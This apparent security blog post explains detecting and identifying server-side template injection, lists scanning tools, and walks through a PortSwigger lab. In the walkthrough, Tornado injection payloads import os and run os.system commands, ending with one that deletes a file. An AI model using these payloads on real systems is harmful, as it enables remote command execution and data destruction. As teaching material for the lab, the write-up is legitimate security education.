Detecting SSTI vulnerabilities begins by identifying areas within a web application where user input is directly inserted into templates.

One approach is to fuzz the template with polyglots comprised of special characters ${{<%[%'"}}%. that is commonly used in template expressions. If the server raises an exception upon interpreting these characters, it indicates a potential SSTI vulnerability.

Nevertheless, regardless of the fuzzing outcomes, it’s crucial to undergo the following context-specific methods:

1. Plaintext context
In plaintext context, user input is directly embedded into the template without being encoded. This means that any special characters or code included in the input will be rendered directly on the page.

To detect plaintext context vulnerabilities, look for input fields or parameters where data provided by users is reflected in the output page without any enconding or sanitisation.

Example:
Consider a web application using the Jinja2 template engine.

from jinja2 import Template

template = Template("Hello, " + firstname)
output = template.render()

If the user injects {{7*7}} as payload, the output will be Hello, 49, which indicates a plaintext context vulnerability.

2. Code context
In code context, user input is inserted into the template code itself without properly sanitised or validated, leading to the execution of arbitrary code. This often occurs in template engines where expressions are evaluated within the template.

To detect code context vulnerabilities, look for template expressions that directly incorporate input from users without proper sanitisation.

Example:
Consider a web application using the Jinja2 template engine.

from jinja2 import Template

template = Template("Hello, {{ user.firstname }}")
output = template.render()

If the user injects the }}{{7*7}} as payload, the output will be Hello, Peter49, which indicates a code context vulnerability.


Step 2 - Identification
After detecting the potential for template injection, the subsequent task involves identifying the template engine in use. While there are numerous templating languages exist, many of them employ similar syntax to avoid conflicts with HTML characters.

In some cases, servers may disclose the template engine being used by displaying errors. Here are some invalid expressions that could potentially trigger errors:

For instance, <%= foobar %> triggers the following error from the Ruby-based ERB engine.

foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>

Otherwise, we need to manually test and analyse how the template engine interpret it. This often involves injecting mathematical expressions using syntax specific to different template engines. We can use the decision tree similar like below to help with the process:

It’s important to note that a single payload may return a successful response in more than one template language. For instance, while {{7*'7'}} payload results in 49 in Twig, it produces 7777777 in Jinja2. Therefore, it’s crucial to avoid drawing conclusions solely based on single successful response.

The diagram has been outdated since James released this research. For more insights on various template engines, you may refer here.


Server-Side Template Injection Detection Tools

There are several tools available for detecting and identifying SSTI vulnerabilities. Let’s explore some of these tools and their capabilities.

1. TInjA
Reference: TInjA.

Key features:

  • A CLI tool known for its automatic detection of injection possibilities and comprehensive vulnerability assessment.
  • Supports 44 template engines across eight languages, efficiently detecting both SSTI and CSTI vulnerabilities.
  • Uses polyglots to ensure quick scans and broad applicability.
  • Offers flexible usage options for seamless integration into security testing workflows.

2. Tplmap
Reference: Tplmap

Key features:

  • A versatile tool for exploiting code injection and SSTI vulnerabilities.
  • Offers sandbox escape techniques for accessing the underlying operating system.
  • Supports various code contexts and blind njection scenarios, adapting to different attacks.
  • Enables cross-language eval()-like code injections in multiple languages.

3. SSTImap
Reference: SSTImap

Key features:

  • An evolution of Tplmap, known for its comprehensive detection capabilities.
  • Excels in identifying both code injection and SSTI injection vulnerabilities.
  • Supports eval()-like code injections and generic unsandboxed template engines.

4. Template Injection Table
Reference: Template Injection Table

Key features:

  • Offers a vital resource for testing applications for template injection vulnerabilities.
  • Provides a diverse collection of polyglots tailored for 44 key template engines.
  • Offers efficient detection and identification capabilities.
  • Facilitates vulnerability assessments, allowing for comprehensive testing.

Exploring Code Context Vulnerabilities

Let’s illustrate the server-side template injection (SSTI) vulnerabilities within code context through a practical lab from PortSwigger Academy.
Resource: PortSwigger: SSTI - Code Context

Scenario:
Exploitation of SSTI code context vulnerability in Tornado template for file deletion

This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials:
wiener:peter

Before we proceed, it’s essential to note that we will highlight the following SSTI methodology to assist us in tackling this lab.

  • Detect
    Searching reflections of user-controlled input throughout the application.

  • Identify
    Enumerating the template engine by injecting payloads or triggering error conditions.

Step 1: Detect
Upon accessing the lab, we encountered a homepage displaying various blog posts.

Click on “View post” and notice the comment section where we can post comments.

Firstly, we need to log in to “My account” using the provided credentials.

Once logged in, we notice the presence of a feature called “Preferred name”. Let’s see how it works.

By utilising the Burp Suite, we can observe the request upon changing the preferred name.

In the context of the preferred name feature, note that the user’s preferred name is set within the coding context. This means that the application retrieves and uses the preferred name specified by the user for various interactions within the application.
blog-post-author-display=user.name

To conduct further analysis, we send the request containing the preferred name to the Burp Suite Repeater.

Back to the comment section, we post a comment containing general expression payloads for SSTI.

Refresh the page and observe that none of the expressions are evaluated but only user’s name is reflected back.

This indicates that the parameter blog-post-author-display=user.name is the target for potential SSTI exploitation.

Step 2: Identify
Next, to identify which template engine is being used, we attempt to manipulate the user.name parameter by append it with an invalid expression {{foobar}}.
Request: blog-post-author-display=user.name}}{{foobar}}

After refreshing the page, we get the error message, which highlights that the Tornado templating engine is being used.

Thus, it is important to refer to the Tornado documentation or HackTricks SSTI - Tornado to understand the syntax used.

Step 3: Exploit
In Tornado template engine, the syntax employed is as follows:
{{ expression }}

Let’s inject the target point with {{7*7}}. It’s important to append }} before our payload to escape the user.name context. Since {{user.name}} is already enclosed within double curly braces, we don’t need to include }} in our payload.
Request: blog-post-author-display=user.name}}{{7*7

We observe that it evaluates the {{7*7}} and outputs the result as 49. Therefore, it indicates the presence of SSTI vulnerability.

Next, we must determine how to execute arbitrary code within the Tornado template. We can import Python modules to execute operating system commands.

Now, we can craft the payload to determine the current directory we are in.
Request: blog-post-author-display=user.name}}{% import os %}os.system('pwd')}

Currently, we are in Carlos’s home directory.

Then, we list the files in the directory to verify the existence of the target file morale.txt.
Request: blog-post-author-display=user.name}}{% import os %}{os.system('ls')}

Indeed, the morale.txt file is found in Carlos’s home directory.

In the final step, we successfully resolved the lab by deleting the morale.txt file.
Request: blog-post-author-display=user.name}}{% import os %}{os.system('rm+morale.txt')}


That concludes the second article in this series. We hope you have gained valuable insights from this post. Stay tuned for the next articles.

References:

Share: